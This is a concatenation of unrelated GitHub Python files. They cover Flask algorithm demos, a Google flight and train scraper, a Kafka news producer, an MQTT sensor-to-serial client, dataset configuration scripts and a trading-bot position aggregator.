запрос и выводит пользователю описание доступных команд меню\"\"\"\n await message.answer(text=DESCRIPTION,\n reply_markup=main_menu_kb())\n","repo_name":"pythonicstyle/pet-project","sub_path":"handlers/default_handlers/description_cmd.py","file_name":"description_cmd.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42429737378","text":"\nfrom flask import Flask\nfrom flask import render_template\nfrom random import randrange\nimport sys\nimport time\nimport re #para controlar exp regulares\nimport random\n\n#-----------------------------------------------------------\n#Burbuja\ndef bubbleSort(array): \n n = len(array) \n \n # Traverse through all array elements \n for i in range(n-1): \n # range(n) also work but outer loop will repeat one time more than needed. \n \n # Last i elements are already in place \n for j in range(0, n-i-1): \n \n # traverse the array from 0 to n-i-1 \n # Swap if the element found is greater \n # than the next element \n if array[j] > array[j+1] : \n array[j], array[j+1] = array[j+1], array[j] \n \n#----------------------------------------------------------\n#Insercion\ndef insertionSort(array): \n \n # Traverse through 1 to len(arr) \n for i in range(1, len(array)): \n \n aux = array[i] \n \n # Move elements of arr[0..i-1], that are \n # greater than key, to one position ahead \n # of their current position \n j = i-1\n while j >=0 and aux < array[j] : \n array[j+1] = array[j] \n j -= 1\n array[j+1] = aux\n\n#-----------------------------------------------------------\n#Seleccion \ndef selectionSort(array):\n n = len(array)\n for i in range(n):\n # Initially, assume the first element of the unsorted part as the minimum.\n minimum = i\n\n for j in range(i+1, n):\n if (array[j] < array[minimum]):\n # Update position of minimum element if a smaller element is found.\n minimum = j\n\n # Swap the minimum element with the first element of the unsorted part. \n temp = array[i]\n array[i] = array[minimum]\n array[minimum] = temp\n\n\n#-------------------------------------------------------------\n#\n#Criba de erastotenes \n\ndef criba_eratostenes(n):\n\n\tnot_primes = []\n\n \n\tfor i in range(2, int(n ** .5) + 1):\n\t if i not in not_primes:\n\t for j in range(i, int(n / i) + 1): not_primes.append(i * j)\n\t \n\t\n\tprimes = [p for p in range(2, n + 1) if p not in not_primes and p!=n]\n\n\n\treturn primes\n\n\n#---------------------------------------------------------------\n#Fibonacci\ndef fibonacci(n):\n if n<=0:\n print(\"Error input\")\n # First fibonacci number is 0\n elif n==1:\n return 0\n # Second fibonacci number is 1\n elif n==2:\n return 1\n else:\n return fibonacci(n-1)+fibonacci(n-2)\n\n\n#---------------------------------------------------------------\n# Corchetes correctamente anidados \ndef corchetes_anidados(array):\n i = 0\n for x in array:\n if x == '[':\n i = i + 1\n else:\n i = i - 1\n if i < 0:\n return False\n return i==0\n\n#-------------------------------------------------------------------\n#Expresiones regulares \n\ndef detect_word_uppercase( array ):\n\t\n\treturn re.findall(r'[a-zA-Z_]+\\s[A-Z_]', array)\n\ndef detect_email(array):\n\t\n\treturn re.findall(r'[\\w\\.-]+@[\\w\\.-]+(?:\\.[\\w]+)+', array)\n\n\ndef detect_credit_card_number(array):\n\t\n\t return re.findall(r'\\d{4}[\\s|-]+\\d{4}[\\s|-]+\\d{4}[\\s|-]+\\d{4}', array)\n\n\n\n\n\n#------------------------------------------------------------------\n#####Los Routings\napp = Flask(__name__)\n \n#------------------------------------------------------------------------ \n@app.route('/')\ndef inicio():\n\t\n return render_template(\"index.html\")\n\n#------------------------------------------------------------------------\n\n#------------------------------------------------------------------------\n@app.route('/ordenar/')\ndef ordenar(array):\n \n arrayList = [int(x) for x in array.split(',')]\n burbuja = arrayList.copy()\n insercion = arrayList.copy()\n seleccion= arrayList.copy()\n\n\n init = time.time()\n bubbleSort(burbuja)\n t_burbuja = time.time() - init\n\n\n\n init = time.time()\n insertionSort(insercion)\n t_insercion = time.time() - init\n\n \n init = time.time()\n selectionSort(seleccion)\n t_seleccion= time.time() - init\n\n return render_template(\"ordenar.html\", original=arrayList, burbuja=burbuja, insercion=insercion,seleccion=seleccion, tiempo_burbuja=t_burbuja, tiempo_insercion=t_insercion,tiempo_seleccion=t_seleccion)\n\n\n#------------------------------------------------------------------------\n@app.route('/criba/')\ndef criba(num):\n return render_template(\"criba.html\",n=len(\ncriba_eratostenes(num)), original=criba_eratostenes(num), num=num)\n\n\n#------------------------------------------------------------------------\n@app.route('/fibonacci/')\ndef fibo(num):\n return render_template(\"fibonacci.html\", posicion=num, resultado=fibonacci(num))\n\n#------------------------------------------------------------------------\n@app.route('/anidados')\ndef anidados():\n n = randrange(40)\n list = ['[',']']\n array = []\n for i in range(n):\n array.append(list[randrange(len(list))])\n return render_template('anidados.html',lista=array, boolean=corchetes_anidados(array))\n\n\n#------------------------------------------------------------------------\n@app.route('/palabra/')\ndef palabra(array):\n return render_template('palabra.html',text=detect_word_uppercase( array ))\n\n#------------------------------------------------------------------------\n@app.route('/email/')\ndef email(array):\n return render_template('email.html',text=detect_email(array))\n#------------------------------------------------------------------------\n@app.route('/numeros/')\ndef numeros(array):\n return render_template('numeros.html',text=detect_credit_card_number(array))\n\n#------------------------------------------------------------------------\n@app.errorhandler(404)\ndef page_not_found(error):\n return render_template('page_not_found.html'), 404\n#------------------------------------------------------------------------\n\n\n'''example\n\n \n\n'''\ndef ellipse():\n \n\n r = lambda: random.randint(0,255)\n background_color = '#%02X%02X%02X' % (r(),r(),r())\n border_color = '#%02X%02X%02X' % (r(),r(),r())\n cx = random.randint(20, 400)\n cy = random.randint(20, 400)\n\n rx = random.randint(20, 140)\n ry = random.randint(20, 140)\n\n \n\n return '' % (cx, cy, rx, ry, background_color, border_color)\n\n#------------------------------------------------------------------\n''' Example \n\t\n \n\n'''\n\ndef rectangle():\n\n r = lambda: random.randint(0,800)\n background_color = '#%02X%02X%02X' % (r(),r(),r())\n border_color = '#%02X%02X%02X' % (r(),r(),r())\n\n widht = random.randint(40, 140)\n height = random.randint(40, 240)\n\n \n\n return '' % ( widht, height, background_color,border_color) \n\n#------------------------------------------------------------------\n@app.route('/svg/')\ndef dibujar ():\n\tprincipio =''\n\tfinal = ''\n\taux_bool = random.randint(0,1)\n\tif aux_bool :\n\t\treturn principio+ellipse() +final \n\telse :\n\t\treturn principio+rectangle() +final \n\n\n\n","repo_name":"angelaig/DAI","sub_path":"p2/app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40210603139","text":"import pandas as pd\nimport urllib.request\nfrom urllib.error import HTTPError\nfrom bs4 import BeautifulSoup as bs\nimport http.cookiejar\n\nfrom time import sleep\nfrom time import time\nfrom random import randint\n\n\n\nstart_time = time()\nrequests = 0\nmainUrl = \"https://www.google.co.in/search?q=\"\n\n\ndef getFlightUrl(mainUrl , place1 , place2):\n return mainUrl + place1 + \"+\" + place2 + \"+\" + \"flights\"\n\n\ndef getTrainUrl(mainUrl , place1 , place2):\n return mainUrl + place1 + \"+\" + place2 + \"+\" + \"trains\"\n\ndef getPage(url):\n\n headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'}\n cookie = http.cookiejar.CookieJar()\n handler = urllib.request.HTTPCookieProcessor(cookie)\n opener = urllib.request.build_opener(handler)\n\n try:\n request = urllib.request.Request(url = url , headers=headers)\n page = opener.open(request)\n\n except HTTPError as e:\n return None\n\n return page\n\n\ndef extractFlightData(bsObj):\n\n result = bsObj.select(\".ADuBqd\")\n\n if(result == []):\n result = bsObj.select(\".Crs1tb\")\n\n if result == []:\n result = bsObj.select(\".di3YZe\")\n\n\n\ndef extractTrainData(bsObj):\n\n result = bsObj.select(\".ccBEnf\")\n\n return result\n\ndef checkFlights(place1 , place2):\n\n global requests\n\n url = getFlightUrl(mainUrl , place1 , place2)\n print(url)\n page = getPage(url)\n\n sleep(randint(1,5))\n requests += 1\n\n elapsed_time = time() - start_time\n print('Request:{}; Frequency: {} requests/s'.format(requests, requests/elapsed_time))\n\n if page.status != 200:\n warn('Request: {}; Status code: {}'.format(requests, response.status_code))\n\n if requests > 100:\n warn('Number of requests was greater than expected.')\n\n if page==None:\n print(\"Error reading page\")\n\n\n html = page.read()\n bsObj = bs(html , \"lxml\")\n\n result = extractFlightData(bsObj)\n\n if result == []:\n print(\"No flights available between \" + place1 + \" and \" + place2)\n\n else:\n\n print(\"Flights available between \" + place1 + \" and \" + place2)\n\n\n\ndef checkTrains(place1 , place2):\n\n global requests\n\n url = getTrainUrl(mainUrl , place1 , place2)\n print(url)\n page = getPage(url)\n\n sleep(randint(1,5))\n requests += 1\n\n elapsed_time = time() - start_time\n print('Request:{}; Frequency: {} requests/s'.format(requests, requests/elapsed_time))\n\n if page.status != 200:\n warn('Request: {}; Status code: {}'.format(requests, response.status_code))\n\n if requests > 100:\n warn('Number of requests was greater than expected.')\n\n if page==None:\n print(\"Error reading page\")\n\n\n html = page.read()\n bsObj = bs(html , \"lxml\")\n\n result = extractTrainData(bsObj)\n\n if result == []:\n print(\"No trains available between \" + place1 + \" and \" + place2)\n\n else:\n\n print(\"Trains available between \" + place1 + \" and \" + place2)\n\n\ndef getInput(places):\n\n n = int(input('Enter number of places:'))\n for i in range(0, n):\n x = input('Enter the place: ')\n places.append(x)\n\n\nif __name__ == \"__main__\":\n\n places = []\n\n getInput(places)\n\n for i in range(len(places) - 1):\n\n checkFlights(places[i] , places[i+1])\n checkTrains(places[i] , places[i+1])\n","repo_name":"vsai121/Route-Recommender","sub_path":"pathCheck.py","file_name":"pathCheck.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72520917317","text":"import sys\n\nwhile True:\n try:\n #方法一\n num=list(map(int,input().split(\" \")))\n print(sum(num))\n #方法二\n num=sys.stdin.readline().strip().strip(\" \") #注意readline没有s\n a=int(num[0])\n b=int(num[1])\n except:\n break","repo_name":"Airomantic/alogrithm_ACM","sub_path":"输入输出/牛客网输入输出/两数之和.py","file_name":"两数之和.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17612781916","text":"from decouple import config\nfrom os import pardir, path\n\n# basic app settings\nDEBUG = config('DEBUG', default=False, cast=bool)\nASSETS_DEBUG = config('ASSETS_DEBUG', default=False, cast=bool)\nSECRET_KEY = config('SECRET_KEY', default=False)\n\n# directories and files\nBASEDIR = path.dirname(path.abspath(__file__))\nROOT = path.abspath(path.join(BASEDIR, pardir))\nPROJECTS = path.join(BASEDIR, 'projects.yml')\n\n# webassets\nASSETS = path.join(BASEDIR, 'assets.yml')\nNODE = path.join(ROOT, 'node_modules')\nBOURBON = path.join(NODE, 'bourbon', 'app', 'assets', 'stylesheets')\nNEAT = path.join(NODE, 'bourbon-neat', 'app', 'assets', 'stylesheets')\nSCSS = path.join(NODE, 'scss')\nLIBSASS_INCLUDES = [BOURBON, NEAT, SCSS]\nWEBASSETS_LOAD_PATH = [NODE, BASEDIR]\nCOFFEE_BIN = config('COFFEE_BIN', default=False)\n\n# freezer\nFREEZER_REMOVE_EXTRA_FILES = True\n\n# google analytics user id\nGOOGLE_ANALYTICS = config('GOOGLE_ANALYTICS', default=False)\nINSERT_GOOGLE_ANALYTICS = GOOGLE_ANALYTICS and not DEBUG\n","repo_name":"belxlaz/portfolio","sub_path":"portfolio/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"36189039760","text":"from threading import Thread \nimport time\nimport paho.mqtt.client as mqtt\nimport serial\nimport time\nimport string\n\nser = serial.Serial(\"/dev/rfcomm1\", 9600)\n\nhost_name = \"34.229.92.150\"\n\nclass ThdClass(Thread):\n\tdef __init__(self):\n\t\tThread.__init__(self)\n\t\tself.mStop = False\n\n\tdef run(self):\n\t\twhile not self.mStop:\n\t\t\tprint(\"Thread class\")\n\t\t\ttime.sleep(1)\n\n\t\tprint('Thread class done!!')\n\t\t\t\n\tdef stop(self):\n\t\tself.mStop = True\n\ndef on_connect(client, userdata, flags, rc): # func for making connection\n print(\"Connected to MQTT Server\")\n print(\"Connection returned result: \" + str(rc) )\n client.subscribe(userdata)\n \ndef on_message(client, userdata, msg): # Func for Sending msg\n msgRec = float(msg.payload.decode(\"utf-8\"))\n print(msg.topic + \"=\"+ str(msgRec))\n if msg.topic == \"lpg\":\n if msgRec > 5.000:\n ser.write(str.encode('LPGBuzzer_ON\\r\\n'))\n else:\n ser.write(str.encode('LPGBuzzer_OFF\\r\\n')) \n if msg.topic == \"smoke\":\n if msgRec > 20.000:\n ser.write(str.encode('SMKBuzzer_ON\\r\\n'))\n else:\n ser.write(str.encode('SMKBuzzer_OFF\\r\\n'))\n if msg.topic == \"temperature\":\n if msgRec < 25.00:\n ser.write(str.encode('GreenLed_ON\\r\\n'))\n ser.write(str.encode('YellowLed_OFF\\r\\n'))\n ser.write(str.encode('RedLED_OFF\\r\\n'))\n elif msgRec > 25.00 and msgRec < 30.00 :\n ser.write(str.encode('YellowLed_ON\\r\\n'))\n ser.write(str.encode('GreenLed_OFF\\r\\n'))\n ser.write(str.encode('RedLed_OFF\\r\\n'))\n elif msgRec > 30.00:\n ser.write(str.encode('RedLed_ON\\r\\n'))\n ser.write(str.encode('GreenLed_OFF\\r\\n'))\n ser.write(str.encode('YellowLed_OFF\\r\\n'))\n \n\ndef Thdfunction(name,hostname, stop):\n client = mqtt.Client()\n client.on_connect = on_connect\n client.on_message = on_message\n client.user_data_set(name)\n client.connect(hostname, 1883, 60)\n client.loop_start()\n \n while not stop():\n print(\"Thread function \" + name + \" \")\n time.sleep(1)\n \n client.loop_stop()\n print('Thread function done!!')\n \ndef main():\n thdc = ThdClass()\n thdc.start()\n\n stop_thread = False\n thdf = Thread(target=Thdfunction, args=(\"lpg\", host_name,lambda: stop_thread))\n thdf.start()\n \n thdf1 = Thread(target=Thdfunction, args=(\"co\", host_name, lambda: stop_thread))\n thdf1.start()\n \n thdf2 = Thread(target=Thdfunction, args=(\"smoke\", host_name,lambda: stop_thread))\n thdf2.start()\n\n thdf3 = Thread(target=Thdfunction, args=(\"humidity\", host_name,lambda: stop_thread))\n thdf3.start()\n\n thdf4 = Thread(target=Thdfunction, args=(\"temperature\", host_name,lambda: stop_thread))\n thdf4.start()\n\n thdf5 = Thread(target=Thdfunction, args=(\"heatindex\", host_name,lambda: stop_thread))\n thdf5.start()\n\n try:\n while True:\n cmd = input()\n if(cmd =='q'):\n print('stopping.....')\n thdc.stop()\n stop_thread = True\n break;\n print('Main Thread')\n\n except KeyboardInterrupt:\n thdc.stop()\n stop_thread = True\n finally:\n thdf.join()\n thdf1.join()\n thdf2.join()\n thdf3.join()\n thdf4.join()\n thdf5.join()\n thdc.join()\n\nif __name__ == \"__main__\":\n main()","repo_name":"mohitbijanya/IFN649","sub_path":"Project/FinalClientThread.py","file_name":"FinalClientThread.py","file_ext":"py","file_size_in_byte":3105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14922031405","text":"# importing the required libraries \nimport os\nfrom sys import api_version\nfrom time import sleep \nfrom json import dumps, load \nfrom kafka import KafkaProducer\nfrom dotenv import load_dotenv \nimport requests\nimport json\n\nload_dotenv()\n\n# list of keywords to rotate through\nkeywords = [\"artificial_intelligence\", \"ai\", \"microsoft\", \"google\", \"chatgpt\", \"technology\", \"data_science\", \"deep_learning\",\n \"robotics\", \"automation\", \"cybersecurity\", \"blockchain\", \"fintech\", \"virtual_reality\", \"augmented_reality\", \"self_driving_cars\",\n \"big_data\", \"cloud_computing\", \"quantum_computing\", \"apple\", \"computer_vision\", \"neural_networks\", \"amazon\", \"data_mining\",\n \"tesla\", \"meta\", \"FANG\", \"FAANG\", \"bing\", \"layoffs\", \"twitter\", \"nanotechnology\"]\n\nurl = 'https://newsapi.org/v2/everything?q='\nurl2 = 'https://en.wikipedia.org/w/api.php?action=query&prop=extracts&exintro=True&explaintext=True&exsectionformat=plain&format=json&titles='\n\n# initializing the Kafka producer\nmy_producer = KafkaProducer(\n bootstrap_servers=['localhost:9092'],\n value_serializer=lambda x: dumps(x).encode('utf-8')\n)\n\ndef findextract(obj, key): #recursive function that finds a key and returns the value in a dictionary\n if key in obj: return obj[key] #needed because the wiki extract is at the bottom of some nested dictionaries\n for k, v in obj.items():\n if isinstance(v,dict):\n item = findextract(v, key)\n if item is not None:\n return item\n\n# starting index for keywords\nindex = 0\n\nwhile True:\n # get next set of 8 keywords to use\n current_keywords = keywords[index:index+8]\n index = (index + 8) % len(keywords) # increment index by 8 and wrap around if at end of list\n\n # process articles for each keyword\n for i in current_keywords:\n current_url = url + i.replace(\"_\", \" \")\n articles = requests.get(current_url, headers={\"Authorization\": os.getenv('NEWSAPIKEY')})\n data = {}\n data[i] = articles.json() # now each message will have the topic it belongs to in it\n my_producer.send(i, value=json.dumps(data)) # send articles to their corresponding topic\n\n names = [] # making a list with the source domain names from each article\n articles = data[i]['articles']\n for article in articles:\n name = article['source']['name']\n names.append(name)\n names = list(dict.fromkeys(names)) # remove duplicates names\n\n # get the description of each source domain from wikipedia and make a dictionary {source domain name: description}\n sourcedomains = {}\n sourcesdomainnameTopic = {}\n for name in names:\n wikiextract = requests.get(url2+name).json()\n description = findextract(wikiextract, 'extract')\n sourcedomains[name] = description\n sourcesdomainnameTopic['sourcesdomainname'] = json.dumps(sourcedomains) # same as before, send source domain dictionary with descriptions, in a dictionary where the key is the topic it belongs to and the value is the dictionary with the sources and the descriptions\n my_producer.send(\"sourcesdomainname\", value=json.dumps(sourcesdomainnameTopic)) # sending source domain dictionary to the sourcedomains topic\n\n print(\"Kafka producer did its job, nice! Repeating in two hours\")\n sleep(7201) #7201","repo_name":"CKrikas/cloud_managent","sub_path":"assignment1/producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":3371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24856056147","text":"from oelint_parser.cls_item import Variable\nfrom oelint_adv.cls_rule import Rule\n\n\nclass VarSpacesOnAssignment(Rule):\n def __init__(self):\n super().__init__(id='oelint.vars.spacesassignment',\n severity='warning',\n message='Suggest spaces around variable assignment. E.g. \\'FOO = \"BAR\"\\'')\n\n def check(self, _file, stash):\n res = []\n items = stash.GetItemsFor(\n filename=_file, classifier=Variable.CLASSIFIER)\n for i in items:\n if i.VarName == 'inherit':\n continue\n if i.VarOp not in Variable.VAR_VALID_OPERATOR:\n res += self.finding(i.Origin, i.InFileLine)\n return res\n","repo_name":"priv-kweihmann/oelint-adv","sub_path":"oelint_adv/rule_base/rule_var_spaces_assignment.py","file_name":"rule_var_spaces_assignment.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"62"} +{"seq_id":"1527921630","text":"#\r\n# Created on Thu May 07 2020\r\n#\r\n# Copyright (c) 2020 Your Company\r\n# Name: Luka Jeromel\r\n#\r\n# ******************************Python imports***********************************\r\nimport os\r\nimport sys\r\n\r\n# ******************************PyQt5 imports*************************************\r\nfrom PyQt5.QtWidgets import QAction\r\nfrom PyQt5.QtGui import QIcon\r\n\r\n# ******************************Other third party imports************************\r\n# ******************************My modules***************************************\r\n\r\n\r\ndef add_actions(target, actions):\r\n for action in actions:\r\n if action is None:\r\n target.addSeparator()\r\n else:\r\n target.addAction(action)\r\n\r\n\r\ndef create_action(\r\n text, slot=None, shortcut=None, icon=None, tip=None, checkable=False, parent=None\r\n):\r\n action = QAction(text, parent)\r\n if icon is not None:\r\n action.setIcon(QIcon(\":/{}.png\".format(icon)))\r\n if shortcut is not None:\r\n action.setShortcut(shortcut)\r\n if tip is not None:\r\n action.setToolTip(tip)\r\n action.setStatusTip(tip)\r\n if slot is not None:\r\n action.triggered.connect(slot)\r\n if checkable:\r\n action.setCheckable(True)\r\n return action\r\n\r\n\r\ndef print_err():\r\n exc_type, exc_obj, exc_tb = sys.exc_info()\r\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\r\n err_msg = \"{0}:\\n{1}\\nError occurred in fle: {2}\\n at line: {3}\".format(\r\n exc_type, exc_obj, fname, exc_tb.tb_lineno\r\n )\r\n print(err_msg)\r\n","repo_name":"jeromlu/amino_acids_repo","sub_path":"amino_acids/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"37148299068","text":"from dacapo.store.create_store import create_config_store\nfrom dacapo.store.config_store import DuplicateNameError\nfrom dacapo.experiments.datasplits import TrainValidateDataSplitConfig\nfrom dacapo.experiments.datasplits.datasets import RawGTDatasetConfig\nfrom dacapo.experiments.datasplits.datasets.arrays import (\n ZarrArrayConfig,\n IntensitiesArrayConfig,\n OnesArrayConfig,\n)\n\nfrom funlib.geometry import Coordinate\n\nimport numpy as np\nimport click\n\nimport logging\nfrom pathlib import Path\nimport yaml\nimport random\n\n\n@click.group()\n@click.option(\n \"--log-level\",\n type=click.Choice(\n [\"DEBUG\", \"INFO\", \"WARNING\", \"ERROR\", \"CRITICAL\"], case_sensitive=False\n ),\n default=\"INFO\",\n)\ndef cli(log_level):\n logging.basicConfig(level=getattr(logging, log_level.upper()))\n\n\n@cli.command()\n@click.option(\"--force/--no-force\", default=False)\ndef update(force):\n # Load yamls\n yaml_root_dir = Path(\"configs/yamls/zebrafish\")\n assert yaml_root_dir.exists(), f\"{yaml_root_dir} does not exist!\"\n\n # constants\n constants_yaml = yaml_root_dir / \"constants.yaml\"\n constants = yaml.safe_load(constants_yaml.open(\"r\").read())\n\n # targets. What classes we need to preprocess the data into\n target_yaml = yaml_root_dir / \"targets.yaml\"\n targets = yaml.safe_load(target_yaml.open(\"r\").read())\n\n # dataset yamls. What crops do we have per dataset, and where is the raw data\n dataset_yaml = yaml_root_dir / \"datasets.yaml\"\n datasets = yaml.safe_load(dataset_yaml.open(\"r\").read())\n\n def create_dataset(sample, organelle):\n raw_config = IntensitiesArrayConfig(\n f\"zebrafish_raw_{sample}\",\n ZarrArrayConfig(\n f\"zebrafish_raw_{sample}_uint8\",\n constants[\"dataset_container\"],\n constants[\"raw_dataset\"].format(sample=sample),\n ),\n 0,\n 255,\n )\n\n mask_config = ZarrArrayConfig(\n f\"zebrafish_mask_{sample}_{organelle}\",\n constants[\"dataset_container\"],\n constants[\"mask_dataset\"].format(sample=sample, organelle=organelle),\n )\n if Path(\n constants[\"dataset_container\"],\n constants[\"gt_dataset\"].format(sample=sample, organelle=organelle),\n ).exists():\n gt_config = ZarrArrayConfig(\n f\"zebrafish_gt_{sample}_{organelle}\",\n constants[\"dataset_container\"],\n constants[\"gt_dataset\"].format(sample=sample, organelle=organelle),\n )\n else:\n gt_config = OnesArrayConfig(\n f\"zebrafish_gt_full_{sample}_{organelle}\", mask_config\n )\n gt_config = IntensitiesArrayConfig(\n f\"zebrafish_gt_empty_{sample}_{organelle}\", gt_config, 1, 2\n )\n points_path = Path(\n constants[\"dataset_container\"],\n constants[\"points_dataset\"].format(sample=sample, organelle=organelle)\n + \".npz\",\n )\n if points_path.exists():\n points = np.load(points_path)[\"arr_0\"]\n points = set(Coordinate(*coords) for coords in zip(*points))\n offsets = [\n Coordinate(1, 0, 0),\n Coordinate(-1, 0, 0),\n Coordinate(0, 1, 0),\n Coordinate(0, -1, 0),\n Coordinate(0, 0, 1),\n Coordinate(0, 0, -1),\n ]\n decimated_points = []\n for point in points:\n if (\n sum([point + offset in points for offset in offsets])\n < len(offsets) - 1\n ):\n decimated_points.append(Coordinate(*tuple(point)[::-1]))\n print(sample, organelle, len(points), len(decimated_points))\n points = decimated_points\n points = random.choices(points, k=2000)\n else:\n points = None\n return RawGTDatasetConfig(\n f\"zebrafish_{sample}_{organelle}\",\n raw_config=raw_config,\n gt_config=gt_config,\n mask_config=mask_config,\n sample_points=points,\n weight=5 if \"-\" in sample else 1,\n )\n\n config_store = create_config_store()\n datasplit_configs = []\n for organelle in targets:\n datasplit_config = TrainValidateDataSplitConfig(\n f\"zebrafish_{organelle}\",\n train_configs=[\n create_dataset(sample, organelle) for sample in datasets[\"train\"]\n ],\n validate_configs=[\n create_dataset(sample, organelle) for sample in datasets[\"validate\"]\n ],\n )\n datasplit_configs.append(datasplit_config)\n\n datasplit_config_names = []\n for datasplit_config in datasplit_configs:\n try:\n config_store.store_datasplit_config(datasplit_config)\n except DuplicateNameError as e:\n if force:\n config_store.datasplits.delete_one({\"name\": datasplit_config.name})\n config_store.store_datasplit_config(datasplit_config)\n else:\n raise e\n\n datasplit_config_names.append(datasplit_config.name)\n\n output_path = Path(\"configs/zebrafish/datasplits\")\n if not output_path.exists():\n output_path.mkdir(parents=True)\n (output_path / \"datasplits.yaml\").open(\"w\").write(\n yaml.safe_dump(datasplit_config_names)\n )\n\n\nif __name__ == \"__main__\":\n cli()\n","repo_name":"pattonw/zebrafish_experiments","sub_path":"configs/scripts/datasplits/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":5460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"24124034514","text":"# -*- coding: utf-8 -*-\nfrom libs.base_strategy import Strategy\nfrom libs.database import database\n\nfrom datetime import datetime, timedelta\nfrom datetime import time as datetime_time\nfrom threading import Thread, Lock, Event\nimport time\nimport traceback\nimport socket\n\nMAX_MESSAGE = 2048\n\nclass MyStrategy(Strategy):\n\n def initialize(self):\n\n # グラフプロット用ハンドラの登録\n self.ws.add_stats = self.add_stats\n self.ws.daily_reset = self.daily_reset\n self._latest_summarize={'pos':0, 'profit':0, 'base':0}\n\n # データ保管用\n self._database = {}\n\n # botごとの前回の損益額\n self._last_profit = {}\n\n # ずれの履歴\n self._diff_count = 0\n self._last_pos_diff = 0\n self._limit_try_count = 0\n\n # データ更新中ロック\n self.lock = Lock()\n\n # InfluxDBへの接続\n if 'influxdb' in self.parameters :\n influx_addr = self.parameters['influxdb']\n self.influxdb = database(self._logger, host=influx_addr[0], port=influx_addr[1], database='bots')\n else:\n self.influxdb = database(self._logger)\n\n # パケットの受信を別スレッドで起動\n comth = Thread(target=self.com_thread)\n comth.daemon = True\n comth.start()\n\n self.Scheduler(callback=self.delete_check, basetime=0.5, interval=1)\n self.Scheduler(callback=self.summarize_position, basetime=0, interval=30)\n\n def com_thread(self):\n\n while True:\n self.com_read()\n\n def com_read(self):\n\n # 通信の確立\n udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n udp_sock.settimeout(3)\n self._logger.info('Create UDP receiver : {}'.format(udp_sock))\n\n addr = self.parameters['pos_server'][0]\n if addr != 'localhost' and addr != '127.0.0.1':\n addr = '0.0.0.0'\n udp_sock.bind((addr, self.parameters['pos_server'][1]))\n\n stop_event = Event()\n recvth = Thread(target=self.recv_thread, args=(stop_event,udp_sock))\n recvth.daemon = True\n recvth.start()\n\n # ウォッチドッグタイマーで監視 15 分受信が無ければソケットを廃棄・再作成\n self.udp_wdt = time.time()\n while time.time()-self.udp_wdt < 900:\n time.sleep( 1 )\n\n # 通信の終了\n stop_event.set()\n self._logger.error('Close UDP receiver : {}'.format(udp_sock))\n udp_sock.close()\n time.sleep( 30 )\n\n def recv_thread(self, stop_event, udp_sock):\n while not stop_event.wait(1):\n # UDPパケットの受信\n try:\n packet, addr = udp_sock.recvfrom(MAX_MESSAGE)\n except socket.timeout as e :\n continue\n except Exception as e :\n self._logger.error('UDP socket error : {}\\n{}'.format(e,traceback.print_exc()))\n break\n self.udp_wdt = time.time()\n\n # 受信データのデコード\n message = packet.decode('utf-8')\n symbol = message[0:11].strip()\n pos = float(message[12:29])\n base = float(message[30:47])\n profit = float(message[48:59])\n api1 = int(message[60:65])\n api2 = int(message[66:71])\n strategy = message[73:]\n\n if self.symbol != symbol:\n self._logger.error(\"Symbol is not correct. Expect[{}] but receive[{}]\".format(self.symbol, symbol))\n self._logger.info(message)\n\n with self.lock:\n self._database[strategy] = {'pos': pos, 'base': base, 'profit': profit, 'api1': api1, 'api2': api2, 'timestamp': time.time()}\n self._logger.debug(\"{} : {} : {}\".format(symbol, strategy, self._database[strategy]))\n\n self._logger.info('Exit recv_thread')\n\n # 300秒ポジション報告の無かったbotはリストから削除\n def delete_check(self):\n with self.lock:\n for strategy, value in self._database.items():\n if time.time()-value['timestamp'] > 300:\n del self._database[strategy]\n datas = {}\n break\n\n # API経由で実際のポジションを取得\n def check_current_pos(self):\n pos = self.api.getpositions()\n long = 0\n short = 0\n for i in pos:\n self._logger.debug( \"OpenPosition : {}\".format(i) )\n if i['side'].upper()=='BUY' :\n long += float(i['size'])\n else :\n short += float(i['size'])\n total = round(long-short,8)\n self._logger.debug( \"Long : {} / Short : {} = Total :{}\".format(long,short,total))\n return total\n\n def summarize_position(self):\n def time_in_range(start, end, x):\n if start <= end:\n return start <= x <= end\n else:\n return start <= x or x <= end\n\n with self.lock:\n summarize={'pos':0, 'profit':0}\n self._logger.info('\\n\\n')\n self._logger.info('-'*100)\n for strategy, value in self._database.items():\n self._logger.info(\"profit({:>+17.8f}) : Pos({:>+17.8f}) : Base({:>+10.3f}) : {:5.1f} : {}\".format(\n value['profit'], value['pos'], value['base'], time.time()-value['timestamp'], strategy))\n\n try:\n # 0:00~0:02はグラフに入れない\n now = datetime_time((datetime.utcnow()+timedelta(hours=9)).hour, (datetime.utcnow()+timedelta(hours=9)).minute, 0)\n if not time_in_range(datetime_time(0, 0, 0), datetime_time(0, 2, 0), now):\n # 損益をInfluxに保存\n self.influxdb.write( measurement=\"bfsx2\",\n tags={'exchange': \"{}_{}\".format(self.exchange,self.symbol), 'bot': 